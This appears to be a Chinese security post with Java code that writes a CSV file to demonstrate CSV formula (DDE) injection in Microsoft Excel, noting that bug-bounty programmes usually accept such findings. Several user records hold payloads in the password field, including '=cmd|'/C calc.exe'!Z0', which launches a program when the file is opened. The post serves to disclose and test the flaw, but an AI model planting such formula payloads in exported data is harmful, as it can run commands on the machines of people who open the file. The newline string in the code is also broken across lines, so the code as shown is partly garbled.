以下代码生成的csv文件,使用Microsoft Execl能成功弹出计算器,虽然打开时有安全提示,但是大多数src还是会接收该类漏洞
--------------------------------------------------------------------------------------------
package jinqi;
public class User {
private String username;
private String password;
private int age;
private String name;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public User(String username, String password, String name, int age) {
super();
this.username = username;
this.password = password;
this.age = age;
this.name = name;
}
}
--------------------------------------------------------------------------------
package jinqi;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import org.apache.commons.csv.CSVFormat;
import org.apache.commons.csv.CSVPrinter;
public class Test {
private static final String NEW_LINE_SEPARATOR = "
";
//CSV文件头
private static final Object [] FILE_HEADER = {"用户名","密码","名称","年龄"};
/**
* 写CSV文件
*
* @param fileName
*/
public static void writeCsvFile(String fileName) {
FileWriter fileWriter = null;
CSVPrinter csvFilePrinter = null;
//创建 CSVFormat
CSVFormat csvFileFormat = CSVFormat.DEFAULT.withRecordSeparator(NEW_LINE_SEPARATOR);
try {
//初始化FileWriter
fileWriter = new FileWriter(fileName);
//初始化 CSVPrinter
csvFilePrinter = new CSVPrinter(fileWriter, csvFileFormat);
//创建CSV文件头
csvFilePrinter.printRecord(FILE_HEADER);
// 用户对象放入List
List<User> userList = new ArrayList<User> ();
userList.add(new User("zhangsan", "=2+7", "张三", 25));
userList.add(new User("lisi", "=cmd|'/C calc.exe'!Z0", "李四", 23));
userList.add(new User("wangwu", "456", "王五", 24));
userList.add(new User("zhaoliu", "zhaoliu", "赵六", 20));
// 遍历List写入CSV
for (User user : userList) {
List<String> userDataRecord = new ArrayList<String>();
userDataRecord.add(user.getUsername());
userDataRecord.add(user.getPassword());
userDataRecord.add(user.getName());
userDataRecord.add(String.valueOf(user.getAge()));
csvFilePrinter.printRecord(userDataRecord);
}
System.out.println("CSV文件创建成功~~~");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
fileWriter.flush();
fileWriter.close();
csvFilePrinter.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
/**
* @param args
*/
public static void main(String[] args){
writeCsvFile("G:\jinqi.csv");
}
}